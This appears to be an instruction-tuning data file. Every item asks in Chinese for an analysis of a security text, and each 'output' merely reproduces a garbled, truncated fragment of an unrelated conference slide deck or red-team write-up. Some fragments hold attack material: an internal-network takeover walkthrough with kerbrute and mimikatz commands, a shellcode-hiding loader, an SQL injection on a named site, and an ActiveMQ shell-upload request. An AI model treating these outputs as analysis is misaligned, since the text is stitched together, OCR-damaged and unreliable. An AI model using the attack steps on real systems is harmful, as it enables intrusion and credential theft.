–  New
  selectors
–  Client-‐side
  storage
  including
  localStorage,
  sessionStorage,
  and
  Web
  SQL
•
Out:
–  PresentaYon
  elements
  such
  as
  <font>,
  <center>
–  PresentaYon
  adributes
  including
  align,
  border
–  <frame>,
  <frameset>
–  <applet>
–  Old
  special
  eﬀects:
  <marquee>,
  <bgsound>
–  <noscript>
Quick
  Demos
•  Video
  capYoning
•  Canvas
•  GeolocaYon
Structure
  of
  an
  HTML5
  Document
<!DOCTYPE html>
<html>
<head>
<title>An HTML Document<...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Greater Than One
Defeating “strong” authentication in
web applications
- Brendan O’Connor
Introduction
 Background Information
 Control Types
 Device Fingerprinting
 One Time Passwords
 Knowledge Base Archives
 Conclusions
Introduction
 Internet Banking
 Bill Pay
 Car Loans and Mortgages
 Retirement Plans / 401K
 Stock Trading / Investments
Background
Federal Financial Institution Examination Council
Authentication in an Internet Banking Environment
The agencies consider single-factor authentication, as the only control
mechanism, to be inadequate for high-risk transactions involving
access to customer information or the movement of funds to other
parties . . . Account fraud and identity theft are frequently the result of
single-factor (e.g., ID/password) authentication exploitation.
source: http://www.ffiec.gov/ffiecinfobase/resources/info_sec/2006/frb-sr-05-19.pdf
Background
 Access to customer information or movement
of funds – read: pretty much every screen in
an Internet Banking application
 Does not mandate 2 factor authentication –
says that single factor is insufficient (greater
than one)
 Hardware tokens are expensive and easily lost
or broken
 Biometrics for the end user are out of the
question
Control Types
 Mutual Authentication
 Device Fingerprinting
 Out of Band Authentication
 One Time Passwords
 Knowledge Base Archives
Control Types
 Mutual Auth
 This is not device based Mutual Auth
 Site to user authentication
 Device Fingerprinting
 Persistent cookies
 Information from HTTP headers
 Device Interrogation
Control Types
 Out of Band Auth
 Not true OOB Auth
 Only delivery is Out of Band.
Authentication still happens within HTTP
session
 Email delivery, SMS message to cell
phone, Phone call that reads you a PIN
Control Types
 One Time Passwords
 Dynamic single use password or PIN
(generally delivered via OOB method)
 Static pre-issued One Time Pads
 Not to be confused with algorithmic
token based auth (such as RSA
SecurID©)
Control Typ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

pipestdin
0x00
0x01
0x02 1-writestdin
0x03 2-pipestdin

0x04

0x05


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Beyond the Lulz:
Black Hat Trolling, White Hat Trolling, and Hacking the Attention Landscape
SECTION 1
Are you familiar with fishing? Trolling is where you set your
fishing lines in the water and then slowly go back and forth
dragging the bait and hoping for a bite. Trolling on the Net is
the same concept - someone baits a post and then waits for
the bite on the line and then enjoys the ensuing fight.
- Anonymous usenet poster, 1995 (relayed by Judith Donath,
Identity and Deception in the Virtual Community, 1998)
The well-constructed troll is a post that induces lots of
newbies and flamers to make themselves look even more
clueless than they already do, while subtly conveying to the
more savvy and experienced that it is in fact a deliberate
troll. If you don't fall for the joke, you get to be in on it.
- Troller’s FAQ by trollfaq@altairiv.demon.co.uk, 1996
Being a prick on the internet because you can. Typically
unleashing one or more cynical or sarcastic remarks on an
innocent by-stander, because it’s the internet and, hey, you
can.
- EREALLY GUD DEFUNITION MAKUR, Urban Dictionary, 2004
A smart vendor treats vulnerabilities less as a software
problem, and more as a PR problem. So if we, the user
community, want software vendors to patch vulnerabilities,
we need to make the PR problem more acute.
- Bruce Schneier, 2007
Laughter at the expense or misfortune of others.
- A troll to Gabriella Coleman,
Hacker, Hoaxer, Whistleblower, Spy, 2014
Part of:
a rich aesthetic tradition of spectacle and transgression...
which includes the irreverent legacy of phreakers and the
hacker underground.
- Gabriella Coleman, Phreaks, Hackers, and Trolls: The
Politics of Transgression and Spectacle,’ 2012
The best challenge to the authority of something is to find where
its semantic or enforceable borders break down and to exploit
those shortcomings.
- Brad Troemel, proclaimed the “Troll of Internet Art,” 2012
We’ve come up with the menacing term 'troll' for someone ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Subver'ng
the

World
of
Warcra4
API

by

Christopher
Mooney

James
Luedke

NDA

If
you
are
a
Blizzard
employee
or
a
Blizzard
fan‐boy
this
NDA
applies
to
you.

You

are
 forbidden
 to
 discuss
 this
 code
 with
 anyone
 else
 upon
 penalty
 of
 tar
 and

feather.

 In
 fact
 we
 have
 tested
 this
 presenta'on
 out
 on
 other
 Blizzard

employees/fan‐boys
and
their
faces
melted
oﬀ.

We
would
strongly
suggest
that
if

you
iden'fy
with
either
of
these
groups
you
leave
the
room
now.

What’s
more,

this
code
is
so
provoca've
that
to
verify
it
works
you
will
need
to
violate
your

own
companies
terms
of
service,
which
could
have
the
unfortunate
side‐eﬀect
of

imploding
the
universe.

Remember,
we
are
professionals
and
it’s
never
a
good

idea
to
cross
the
streams.

Who
Are
We?

Christopher
Mooney

>
Project
DoD
Inc.

>
University
of
Southern
Maine

>
Cryptology
and
Computer
Security

>
Gearman

>
C
So4ware
Engineer

>
High
Performance/Availability
Space

>
BTP
Code

>
Day
Jobs

James
Luedke

>
Project
DoD
Inc.

>
Gearman

>
Drizzle

>
C
So4ware
Engineer

>
High
Volume
Messaging

>
High
Performance/Availability
Space

>
BTP
Code

>
Day
Jobs

>
We
will
run
a
live
demo,

>
explain
how
the
UI
used
to
work,

>
explain
how
it
works
now,

>
brieﬂy
discuss
protected
func'on,

>
talk
about
side‐channel
aYacks,

>
discuss
how
our
code
works,

>
go
over
ways
to
use
the
code,

>
cover
the
BTP
Project,

>
and
take
ques'ons.

What

You

Can

Expect

What
is
the
World
of

Warcra4
API?

>
The
UI
for
World
of
Warcra4
is
wriYen
in
LUA.

>
LUA
is
a
Object
Oriented
scrip'ng
language.

>
Blizzard
provides
an
API
to
write
Addons.

>
In‐game
informa'on
is
exposed
through
this
API.

>
The
API
can
be
used
to
change
the
UI
appearance.

>
The
API
also
allows
you
to
aﬀect
the
environment
with

func'ons
that
can
respond
to
a
hardware
buYon
press.

How
the
UI
used
to
work

before
patch
2.0

>
Make
a
func'on
called

NukePlayer();

>
CastSpellByName(“Fireball”);

>
Mak...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

0
 KaiSong (exp-sky)
Tencent Security Xuanwu Lab
WHO AM I
CONTENTS
1Chakra vulnerability
2Bypass ASLR & DEP
3Bypass CFG
4Bypass CIG
5Bypass ACG
6Exploit
7Q&A
The vulnerability was discovered on May 31, 2016.
The vulnerability was fixed in February 2017.
NativeIntArray struct :
NativeIntArrayHead
Segment :
left
length
size
Next segment
head
Segment :
left
length
size
Next segment
Buffer
Buffer
length
NativeIntArray struct :
Make var_Array_1 object reach a special state.
Make var_Array_1->length smaller.
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2             + 0x2e)
Segment : head
Left:0x00000000
Length:0x00000000
Size:0x00000012
Next segment
Segment : head.next
Left:0x000003d2
Length:0x0000002e
Size:0x0000002e
Next segment
Buffer:0x00000012*4
Buffer:0x0000002e*4
NativeIntArrayHead
head
Length:0x0000002e
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2             + 0x2e)
Make var_Array_1 object reach a special state.
Callback function causes length to be modified.
But the ReverseHelper function still uses the old length.
Segment : head
Left:0x00000000
Length:0x00000000
Size:0x00000012
Next segment
Segment : head.next
Left:0x000003d2
Length:0x0000002e
Size:0x0000002e
Next segment
Buffer:0x00000012*4
Buffer:0x0000002e*4
NativeIntArrayHead
head
Length:0x0000002e
Make var_Array_1 object reach a special state.
Array.length < (head.next.left + head.next.length)
0x2e
< (0x03d2             + 0x2e)
step 1
Make var_Array_1->head.size smaller.
step 1
var_Array_1->head.size : 0x2e -> 0x23
var_Array_1->head.size : 0x23 < var_Array_1->head.length : 0x2e
Segment : head
Left:0x00000000
Length:0x0000002e
Size:0x00000023
Next segment
Segment : head.next
Left:0x00000023
Length:0x0000000b
Size:0x00000012
Next segment
Buffer:0x0000002e*4
Buffer:0x00000012*4
NativeIntArrayHead
head
Length:0x0000002e
step 1
var_Array_1->head.size : 0x2e -> 0x23
var_Array_1->...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The Cavalry Year[0]
A Path Forward for Public Safety
The Cavalry Year[0]
A Path Forward for Public Safety
Joshua Corman && Nicholas J. Percoco
Our Dependance on Technology is
Growing Faster than our Ability to
Secure it.
Problem Statement:
While we struggle to secure our
organizations, connected
technologies now permeate every
aspect of our lives; in our cars, our
bodies, our homes, and our public
infrastructure.
Our Mission:
To ensure technologies with the
potential to impact public safety and
human life are worthy of our trust.
Collecting, Connecting,
Collaborating, Catalyzing
Our Approach:
Collecting existing research and
researchers towards critical mass.
Our Approach:
Connecting researchers with each
other and stakeholder in media,
policy, legal, and affected industries.
Our Approach:
Collaborating across a broad range
of background and skill sets.
Our Approach:
Catalyzing research and corrective
efforts sooner than would happen on
their own.
Our Approach:
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
It Falls To YOU
One thing is clear…
The Cavalry Isn't Coming
It Falls To Us
It Falls To YOU
We must be ambassadors of our profession
We must be the voice of technical literacy
We must research that which matters
We must amplify our efforts
We must escape the echo chamber
We must team with each other
Year[0] Activities
Year[0] Activities
Research
Conferences
Government
Industry
Press
Deliverables
What Worked Well
What Worked Well
•The Mission
•The problems statement, instinct & timing were right.
While pieces of this were tried before, timing
matters…
•Collecting, Connecting, Collaborating, Catalyzing
•Teamwork and collective knowledge proved
immediately useful to existing research & researchers.
E.g. in Medical & Auto
•It Takes a Guild
•Diverse, but complementary skills made us stronger -
including people from industry, from government,
and/or people less i...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

{
Breaking the x86 ISA
domas / @xoreaxeaxeax / DEF CON 2017
 Christopher Domas
 Cyber Security Researcher @
Battelle Memorial Institute
./bio
 8086: 1978
 A long, tortured history…
The x86 ISA
 Modes:
 Real (Unreal)
 Protected mode (Virtual 8086, SMM)
 Long mode (Compatibility, PAE)
x86: evolution
 Instruction sets
x86: evolution
 Modern x86 chips are a complex
labyrinth of new and ancient technologies.
 Things get lost…
 8086: 29,000 transistors
 Pentium: 3,000,000 transistors
 Braodwell: 3,200,000,000 transistors
x86: evolution
 We don’t trust software.
 We audit it
 We reverse it
 We break it
 We sandbox it
Trust.
 But the processor itself?
 We blindly trust
Trust.
 Why?
 Hardware has
all the same problems as software
 Secret functionality?
 Appendix H.
 Bugs?
 F00F, TSX, Hyperthreading.
 Vulnerabilities?
 SYSRET, cache poisoning, sinkhole
Trust.
 We should stop
blindly trusting our hardware.
Trust.
 What do we need to worry about?
 Well known from software
 Examples
Backdoors
 Hardware
 FPGAs
 Hypervisors
 Microcode
 Supply chain
Backdoors
 Could a hidden instruction
unlock your CPU?
Hidden instructions
 Historical examples
 ICEBP
 apicall
Hidden instructions
Hidden instructions
 Traditional approaches:
 Leaked documentation
 Reverse engineering software
 NDA
 But what if it’s something stealthy?
Hidden instructions
 Find out what’s really there
Goal: Audit the Processor
 How to find hidden instructions?
Approach
 Instructions can be one byte …
 inc eax
 40
 … or 15 bytes ...
 lock add qword cs:[eax + 4 * eax + 07e06df23h], 0efcdab89h
 2e 67 f0 48 818480 23df067e 89abcdef
 Somewhere on the order of
1,329,227,995,784,915,872,903,807,060,280,344,576
possible instructions
Approach
https://code.google.com/archive/p/corkami/wikis/x86oddities.wiki
 The obvious approaches don’t work:
 Try them all?
 Only works for RISC
 Try random instructions?
 Exceptionally poor coverage
 Guided based on documentation?
 Documentation can’t be trusted
(that’s the point)
 Poor coverag...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

前⾔:
由于本次靶场环境L.N.前辈给的权限是直接在内⽹的权限，所以缺少了实战中最艰难且必不可少的⼀
环，那就是⼊⼝点的获取，以下wp是模拟实战中vpn配置⽂件泄漏导致内⽹沦陷的过程
1⼊⼝点
模拟vpn配置⽂件泄漏，连接后发现分配ip如下
然后我们尝试扫描10.10.0/16段的常规端⼝和banner以及⼀些常⽤漏洞
发现简易脆弱点如下
10.10.22.161 windows rpc调⽤可能存在ssrf 配合401中继
10.10.24.52存在sql注⼊以及main.php⽂件任意写
10.10.22.44 ajp
10.10.22.67 17010 03 x86
10.10.26.151 ajp
最终选择攻击最简单的 通过fb成功上线2003server 然后⽤fgdump抓取03hash
密码没有可以解密成功的 (注意收集本地管理hash和guacadmin的hash)
此时的思路(1、⽤收集到的密码枚举⼀个域内⽤户后 利⽤CVE-2021-1675或者CVE-2021-34527直
接打dc，
或者看看有⽆可打的资源委派 2、尝试1472漏洞 3、GPP)
2golden.eagle.banking
通过kerbrute.exe对收集到的⽤户名和密码进⾏枚举--未能枚举成功
然后发现能通过1472拿下⼦域dc后发现，发现与⽗域存在双向信任关系
3eagle.banking
然后通过sid::add (参考https://mp.weixin.qq.com/s/OHbFhqyLQlx5W2W40PRoLg和haya前辈的
Mimikatz那些鲜为⼈知的功能-1 )
获取到根域权限，由于USINFDC21.eagle.banking不出⽹ 所以通过link上线
4 island.banking
island与eagle内传信任
思路1:枚举上⾯两个域的⽤户
kerbrute.exe userenum --dc 10.10.26.11 -d island.banking c:\programdata\user.txt
结果⼀个⽤户都没有
1
""privilege::debug"" ""sid::patch"" ""sid::add  /sid:S-1-5-21-1836858824-13935542
思路2:通过前期收集的guacadmin打机器(这⾥只⽤guacadmin是因为渗透过程中发现了每台机器的本
地administrator密码都不同)
思路3:-->尝试GPP 并未发现敏感xml⽂件
思路4:由于是内传信任，尝试⽤eagle认证去打island 的打印机 成功拿下island
由于靶标是⾦融敏感数据,刚好员⼯域⾥⾯的domain group ⾥⾯存在财务数据组
此时可以通过UserEvenHunter 或者拖dc 4624⽇志去查看此⽤户组的⽤户平时登陆的机器
这⾥我是拖域⽇志如下发现多个⽤户都是登陆的BFINFFL44这台机器
但是发现这台机器有df，最终bypass上线后发现此机器应该为⾦融组的员⼯共享⼯作机器
最后附上此次⽹络top图


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Secure&Because&Math:&A&Deep1Dive&on&
Machine&Learning1Based&Monitoring&
(#SecureBecauseMath)&
Alex%Pinto%
Chief%Data%Scien2st%|%MLSec%Project%%
@alexcpsec%
@MLSecProject!
Alex%Pinto%
•  Chief%Data%Scien2st%at%MLSec%Project%
•  Machine%Learning%Researcher%and%Trainer%
•  Network%security%and%incident%response%aﬁcionado%%
•  Tortured%by%SIEMs%as%a%child%
•  Hacker%Spirit%Animal™:%CAFFEINATED%CAPYBARA!
whoami&
(hPps://secure.ﬂickr.com/photos/kobashi_san/)%
%
•  Security%Singularity%
•  Some%History%
•  TLA%
•  ML%Marke2ng%PaPerns%
•  Anomaly%Detec2on%
•  Classiﬁca2on%
•  Buyer’s%Guide%
•  MLSec%Project%
Agenda&
Security&Singularity&Approaches&
(Side&Note)&
First%hit%on%Google%images%for%“Network%Security%Solved”%is%a%
picture%of%Jack%Daniel!
Security&Singularity&Approaches&
•  “Machine%learning%/%math%/%algorithms…%these%terms%are%
used%interchangeably%quite%frequently.”%
•  “Is%behavioral%baselining%and%anomaly%detec2on%part%of%
this?”%
•  “What%about%Big%Data%Security%Analy2cs?”%
%
(hPp://bigdatapix.tumblr.com/)%
Are&we&even&trying?&
•  “Hyper`dimensional%security%
analy2cs”%
•  “3rd%genera2on%Ar2ﬁcial%
Intelligence”%
•  “Secure%because%Math”%
%
•  Lack%of%ability%to%diﬀeren2ate%
hurts%buyers,%investors.%
•  Are%we%even%funding%the%right%
things?%
Is&this&a&communicaCon&issue?&
Guess&the&Year!&
•  “(…)%behavior%analysis%system%that%enhances%your%
network%intelligence%and%security%by%audi2ng%network%
ﬂow%data%from%exis2ng%infrastructure%devices”%
•  "Mathema2cal%models%(…)%that%determine%baseline%
behavior%across%users%and%machines,%detec2ng%(...)%
anomalous%and%risky%ac2vi2es%(...)”%
•  ”(…)%maintains%historical%proﬁles%of%usage%per%user%and%
raises%an%alarm%when%observed%ac2vity%departs%from%
established%paPerns%of%usage%for%an%individual.”%%
A&liGle&history&
•  Dorothy%E.%Denning%(professor%at%the%
Department%of%Defense%Analysis%at%the%
Naval%Postgraduate%School)%
•
1986%(SRI)%`%First%research%that%led%
to%IDS%
•
Intrusion%Detec2on%Expert%System%
(IDES)%
•
Alrea...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

OPERATOR HANDBOOK
SEARCH.COPY.PASTE.L33T;)
RED TEAM + OSINT + BLUE TEAM
NETMUX
V1 [02APR2020]
2
Operator Handbook. Copyright © 2020 Netmux LLC
All rights reserved. Without limiting the rights under the
copyright reserved above, no part of this publication may be
reproduced, stored in, or introduced into a retrieval system, or
transmitted in any form or by any means (electronic, mechanical,
photocopying, recording, or otherwise) without prior written
permission.
ISBN-10: 9798605493952
Operator Handbook, Operator Handbook Logo, Netmux, and the Netmux
logo are registered trademarks of Netmux, LLC. Other product and
company names mentioned herein may be the trademarks of their
respective owners. Rather than use a trademark symbol with every
occurrence of a trademarked name, we are using the names only in an
editorial fashion and to the benefit of the trademark owner, with
no intention of infringement of the trademark.
The information in this book is distributed on an “As Is” basis,
without warranty. While every precaution has been taken in the
preparation of this work, neither the author nor Netmux LLC, shall
have any liability to any person or entity with respect to any loss
or damage caused or alleged to be caused directly or indirectly by
the information contained in it.
While every effort has been made to ensure the accuracy and
legitimacy of the references, referrals, and links (collectively
“Links”) presented in this book/ebook, Netmux is not responsible or
liable for broken Links or missing or fallacious information at the
Links. Any Links in this book to a specific product, process,
website, or service do not constitute or imply an endorsement by
Netmux of same, or its producer or provider. The views and opinions
contained at any Links do not necessarily express or reflect those
of Netmux.
3
INFOSEC TWITTER ACKNOWLEDGEMENT
@ABJtech
@Mandiant
@bmenell
@m33x
@ACKFlags
@ManuscriptMaps
@bmenrigh
@m3g9tr0n
@AGoldmund
@Ma...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

单步加解密执行shellcode
0x00 前言
国庆收假，看见这么一段代码，非常有意思。文字不太好表述代码的执行流程，如图所示：
这个图没有很多执行细节，因此并不是很准确，但是已经能够表达我的意思了。简短的说，就是 边解密
边执行 再加密，这样内存中只有很小的一部分代码是“明文”状态，其他的代码都是“密文”状态。
上图只是一个概念图，真正编写代码是细节到单条指令的，具体代码：
https://gist.github.com/jackullrich/ce3b5263e05c88548b175f4f21909384
在这段代码中，我站在新手同学角度思考，可能有以下几个地方需要理解：
typedef VOID(__stdcall* Shellcode)();
向量化异常处理（AddVectoredExceptionHandler）
详细的执行流程
其他部分都非常好理解，下面我们开始读代码，并解释以上问题。
0x01 阅读代码
我把代码拆分为几段：
第一段
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09
No. 1 / 7 - Welcome to www.red-team.cn
这段代码中，头文件、函数声明和全局变量，都是基础的C语言编程，不用解释，但是其中的：
这段代码，我刚学C的时候，不太理解，后来才知道被书误导了，通常我们学习typedef的时候是和
#define做对比，例如这个菜鸟教程：https://www.runoob.com/cprogramming/c-typedef.html，如
下：
C 语言提供了 typedef 关键字，您可以使用它来为类型取一个新的名字。下面的实例为单字节数
字定义了一个术语 BYTE：
在这个类型定义之后，标识符 BYTE 可作为类型 unsigned char 的缩写，例如：
这样就很难理解上面的代码了，正确的理解typedef，应该是这样的https://blog.csdn.net/weixin_4225
5385/article/details/82261774：
typedef用来声明一个别名，typedef后面的语法，是一个声明。本来笔者以为这里不会产生什么
误解的，但结果却出乎意料，产生误解的人不在少数。罪魁祸首又是那些害人的教材。在这些教材
中介绍typedef的时候通常会写出如下形式：
typedef int PARA;
这种形式跟#define int PARA几乎一样，如前面几章所述，这些教材的宗旨是由浅入深，但实际做
出来的行为却是以偏盖全。的确，这种形式在所有形式中是最简单的，但却没有对typedef进一步
解释，使得不少人用#define的思维来看待typedef，把int与PARA分开来看，int是一部分，PARA
是另一部分，但实际上根本就不是这么一回事。int与PARA是一个整体！就象int i:声明一样是一个
整体声明，只不过int i定义了一个变量，而typedef定义了一个别名。这些人由于持有这种错误的
观念，就会无法理解如下一些声明：
typedef int a[10];
typedef void (*p)(void);
他们会以为a[10]是int的别名，(*p)(void)是void的别名，但这样的别名看起来又似乎不是合法的名
字，于是陷入困惑之中。实际上，上面的语句把a声明为具有10个int元素的数组的类型别名，p是
一种函数指针的类型别名。
虽然在功能上，typedef可以看作一个跟int PARA分离的动作，但语法上typedef属于存储类声明
说明符，因此严格来说，typedef int PARA整个是一个完整的声明。
#include <Windows.h>
LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);
typedef VOID(__stdcall* Shellcode)();
LPBYTE ShellcodeBuffer;
ULONG_PTR PreviousOffset;
ULONG_PTR CurrentOffset;
ULONGLONG InstructionCount;
DWORD dwOld;
typedef VOID(__stdcall* Shellcode)();
typedef unsigned char BYTE;
BYTE  b1, b2;
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-09
No. 2 / 7 - Welcome to www.red-team.cn
定义...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Oracle WebLogic CVE-2022-21350 漏洞分析
漏洞简述
这是⼀个反序列化漏洞,是⼀条新的gadget,在低版本的JDK中可能会造成RCE⻛险。
漏洞分析
测试环境weblogic14c版本,测试JDK 1.8版本。
⾸先会调⽤BadAttributeValueExpException.readObject⽅法
接着会调⽤SessionData.toString⽅法
接着会调⽤SessionData.isDebuggingSession⽅法
接着会调⽤SessionData.getAttribute⽅法
接着会调⽤SessionData.getAttributeInternal⽅法
接着会调⽤AttributeWrapperUtils.unwrapObject⽅法
接着会调⽤AttributeWrapperUtils.unwrapEJBObjects⽅法
接着会调⽤BusinessHandleImpl.getBusinessObject⽅法
接着会调⽤HomeHandleImpl.getEJBHome⽅法
可以看到这⾥调⽤了ctx.lookup⽅法
修复建议
及时更新补丁，参考oracle官⽹发布的补丁:
https://www.oracle.com/security-alerts/cpujan2022.html


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking Cloud Product
[ Demon@n0tr00t ]
探索⼀一切、攻破⼀一切
[ Hacker@KCon ]
3
About me
• Working  on  阿里云-云平台安全
• Team  of  n0tr00t  （http://www.n0tr00t.com/）
• ID:  Demon  (微博：Demon写Demo)
• 跨界：摇滚乐、Coding、安全
Part. 01
分类和架构
4
5
云的基础架构
• 种类繁多
基础服务大同小异，每家云厂商还有自己的特色云服务
• 资源开放
按需付费、资源开放，对于安全的说法就是可控点变多，结界难以把控，安全的天秤随时会倾斜。
• 木桶原理
木桶原理被放大，致弱点容易成为致命点。
6
云产品的通⽤用架构
物理集群
Server
Portal
运维管控
实例
虚拟机
用户管理
监控系统
计费系统
资源管理
运维管理
容灾系统
网关系统
逻辑服务
控制器
调度系统
生产系统
存储系统
底层云组件
API
7
云产品的安全基⽯石 - 沙箱（SandBox）
• 沙箱的结构决定了产品持久稳固性
• avoid  be  root,  use  linux  capability
• 脚本层、容器层、用户权限层
          -脚本层：JSM、PHP  disabled  function
          -容器层：Docker、Linux  namespace、cgroup
          -用户权限隔离：最小权限原则
用户权限
容器层
脚本层
Part. 02
隐匿在结界内的隐患
8
9
结界的划分
结界外
•
控制台（portal）,  用户可管理产品
•
API服务，通过API访问操作实例方便自动化
管理实例
•
实例本身，如连接虚拟服务
器,redis,mongodb等
暗物质
•
未知模块，如一些额外的存储系统
•
游离在架构之外的服务，结界不明，难以发
现
结界内
•
业务逻辑服务，负责业务逻辑处理
•
调度服务，负责调配资源，控制链路
•
生产系统，负责生产实例，或释放实例等
•
管控系统，用于管理或监控实例
•
其他：因架构而定，如还存在一些日志组件，
下发任务模块等等
10
过度松耦合导致的隐患
•  十人传话游戏
•  多层模块分离，安全职责不明
11
攻击中间件服务
    ·∙  开源消息中间件：Kafka、ActiveMQ、RabbitMQ、OpenJMS等
    ·∙  分布式服务框架：Dubbo、zookeeper、TAF
攻击方式
      ·∙  Load  eval  Mbean  via  “getMBeansFromURL”    （http://www.n0tr00t.com/2015/04/16/JMX-RMI-Exploit.html）
      ·∙  Java  反序列化漏洞（http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/）
      ·∙  XML实体注入、命令注入、未授权调用服务
12
Use  Java  Message  Exploitation  Tool  (JMET)
• Apache  ActiveMQ
• Redhat/Apache  HornetQ
• Oracle  OpenMQ
• IBM  WebSphereMQ
• Pivotal  RabbitMQ
• IIT  Software  SwiftMQ
• Apache  ActiveMQ  Artemis
• Apache  QPID  JMS
• Apache  QPID  Client
项目地址：https://github.com/matthiaskaiser/jmet
使用方法：
      >  java  -jar  jmet-0.1.0-all.jar  -Q  event  -I  ActiveMQ  -Y  xterm  127.0.0.1  61616
13
ActiveMQ  CVE-2016-3088
MOVE  /fileserver/shell.txt  HTTP/1.1
Destinatio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

优酷主站一处 SQL 注入
注：该文档仅“Web 安全”小蜜圈交流之用，漏洞已经修复，请勿外传，如出现
法律问题，外传该文档者自行承担法律责任。
在测试上个 XSS 的时候，无意跑的，注入点在配色的这个请求包上：
然后确定的时候用 burpsuite 抓包，给 color_page_back 参数后面加了个双引号，就爆了
了 mysql 的错：
然后给后面加个*，扔进 sqlmap：
就跑出来啦~
为了证明危害，我这里还跑出来了数据库名：


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2
u Dongsung Kim
u Graduate Student Researcher
u @kid1ng
u https://kidi.ng
u Hackers In inTrusion Laboratory
u https://hit.skku.edu
Surname
1
4
u Samsung’s smartwatch products
° Track fitness; control smart devices;
receive calls, texts, and emails; pay with NFC
° Pair phone with Bluetooth + Wi-Fi (+ LTE)
° App marketplace: Samsung Galaxy Apps
u So much sensitive information
° Contacts, calendar, location, email, notification, …
° Access to privileged resources must be controlled
Image: Samsung
5
u Samsung Gear firmware consists of:
° Tizen’s open source components
° Samsung’s closed source components
u Linux-based open source OS
° Many of Samsung’s products
° Smartwatches, smartphones,
cameras, smart TVs, home appliances, …
Image: Tizen Project, a Linux Foundation Project
6
u Ajin Abraham @ HITBSecConf
u Amihai Neiderman @ Security Analyst Summit
° 40 0-day vulnerabilities
u PVS-Studio “27 000 Errors in Tizen OS”
° 900 code errors in a portion of Tizen source code
u We focus on a smartwatch’s perspective
2
- 9 -
u Files, Directories, UNIX Sockets, Utilities
u Applications
° Use Tizen APIs to access the services
u Services
° Special privileged daemons dedicated for a resource
• e.g., Wi-Fi, Bluetooth, GPS, messaging, sensors, …
° Must reject requests from unauthorized parties
Source: Tizen Wiki
10
u App dev specifies privileges in manifest
° User accepts the permission for the app
° Installer checks and registers the privilege policy
° Accesses are controlled at the runtime
u Tizen defines many privileges
° internet, bluetooth, network.set,
screenshot, notification, email, …
° Only some of them are “Public” level
° “Partner, Platform” level disallowed for most
Source: Tizen Wiki
Image: “locked” by Jenie Tomboc / CC BY
tizen-manifest.xml
.tpk app package
On user’s
smartphone
Signed by
Store
11
u DAC (Discretionary Access Control)
° UNIX user ID + group ID policies
u SMACK (Simplified Mandatory Access
Control in Kernel)
° Kernel-space MAC
° App receives a unique la...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DIY Nukeproofing: A New Dig at
“Data-Mining”
By 3AlarmLampscooter
DEF CON 23
Version 0.1b
@3AlarmLampscoot on twitter for updates
DIY Nukeproofing: Outline
● Why technologies like SILEX / AVLIS / MLIS
are democratizing nuclear proliferation (FUD)
● Identifying risk and requirements to mitigate it
● Getting “shovel-ready”
● Taking “data-mining” very literally
Atomic Dominoes: Baryons to Bombs
● Neutron discovered in 1932
● Fissile nuclei split when hit!
● ...and give off more neutrons
         such radiation
                                                    much explosion
very fission product
                                          wow
Pitchblende and the Manhattan
Project
● Fissile material is not naturally occurring
● ...but pitchblende is, with up to 20% U
● Enter $26B of inflation-adjusted defense
research and development during World War II
Separation Anxiety
● Mining and refining proved to be easy (sort of)
● ...enrichment, not so much.
● 13,300,000kg of Silver and
nothing to show for it
Centrifuges proved practical...
● Sort of, aside from needing 1,000s
rotating near the speed of sound
● Has remained defacto standard for enrichment
It had some wicked deliverables...
● Plutonium implosion-type
● “Fat Man” 21kt, 14lbs Pu
● Uranium gun-type
● “Little Boy” 13kt 140lbs U
Little Boy's closest survivors...
● Eizo Nomura at 170m from ground zero in the
basement of the Hiroshima Prefecture Fuel
Rationing Union
● Akiko Takakura at 300m from ground zero in
Bank of Hiroshima's Vault
Heating up the Cold War
● Teller-Ulam devices making use of tritium
● Yields as high as 50MT (USSR)
● Lots of centrifuges spinning 24/7
● Ultimately we find a Nash Equilibrium...
● tl;dr MAD for Superpowers, why aren't all dead
● A whole lot of “hot” glass caverns left at the
Nevada Test Site, data on blast protection
Loose Nukes
● Old bomb cores remain unaccounted for/lost
● Most thefts have been by small time criminals
● No recorded instances in bomb-size quantity
● Successfully ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PDA insecurity
Insecurity in a mobile world
Bryan Glancey
Agenda
• PocketPC Overview
– Registry
– Synchronization
– HP 5455 Biometric
issue
• Palm Overview
• General Issues
• Conclusion
PocketPC
• ActiveSync
–USB/Serial
–BlueTooth
–TCP/IP
PocketPC Toolkit
• Registry Editors
– www.pocketpcdn.com/articles/registry.html
• RedBack
– www.atstake.com/research/tools/forensics
• Snort – Airsnort
– Airsnort.shmoo.com
– www.snort.org
PocketPC Registry
• Windows Like Registry Settings
– Edit the registry remotely
– Edit it on the device
– Password Screen Control
• http://support.microsoft.com/default.aspx
?scid=kb;en-us;314989
• Interesting Values
Security Related Values
•
HKEY_LOCAL_MACHINE\Comm
•
HKEY_LOCAL_MACHINE\Drivers
•
HKEY_LOCAL_MACHINE\HARDWARE
•
HKEY_LOCAL_MACHINE\SYSTEM
•
HKEY_LOCAL_MACHINE\Init
•
